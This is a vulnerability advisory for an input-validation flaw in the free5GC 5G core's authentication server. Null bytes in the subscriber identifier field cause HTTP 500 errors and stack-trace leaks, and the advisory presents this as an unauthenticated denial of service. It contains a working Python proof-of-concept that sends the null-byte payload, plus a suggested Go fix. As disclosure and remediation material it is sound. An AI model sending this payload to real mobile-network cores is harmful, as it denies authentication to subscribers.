CVE-2026-53551

The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale, 4.1% of special_chars mutations produce HTTP 500, causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).

Details

The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:

{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

The AUSF container log shows: net/url: invalid control character in URL.

Attack chain:

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error, the service survives, but the denial is equally effective.

Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:

100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"   # Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000

# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")   # Returns 500

# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")  # Returns 404

Run: python3 reproduce.py

Expected fix (input validation + URL escaping):

import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))